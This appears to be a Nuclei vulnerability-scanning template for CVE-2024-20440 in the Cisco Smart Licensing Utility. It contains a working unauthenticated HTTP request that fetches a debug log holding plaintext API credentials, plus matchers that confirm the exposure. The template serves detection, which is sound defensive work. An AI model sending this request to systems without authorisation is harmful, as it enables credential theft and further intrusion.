id: CVE-2024-20440 info: name: Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials author: iamnoooob,parthmalhotra,pdresearch severity: high description: | A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API. impact: | Unauthenticated attackers can access debug log files containing plaintext credentials and other sensitive information, enabling further attacks on the system. remediation: | Update Cisco Smart Licensing Utility to a version that prevents log file exposure. reference: - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-20440 cwe-id: CWE-532 epss-score: 0.78373 epss-percentile: 0.9905 metadata: verified: true max-request: 1 tags: cve,cve2024,cisco,smart,licensing,info-leak,vkev,vuln http: - raw: - | GET /cslu/v1/var/logs/customer-cslu-lib-log.log HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "csluev.log" - type: word part: content_type words: - "text/x-log" - type: status status: - 200 # digest: 4b0a00483046022100e2695babdcb27237062f3dd9a3d09b732d0561d7353f90ed7b9a4fe530dbbab2022100a378d1db9d7c004591881d85603c9e09445ade8239d031f55e7dd34c8626caab:922c64590222798bb761d5b6d8e72950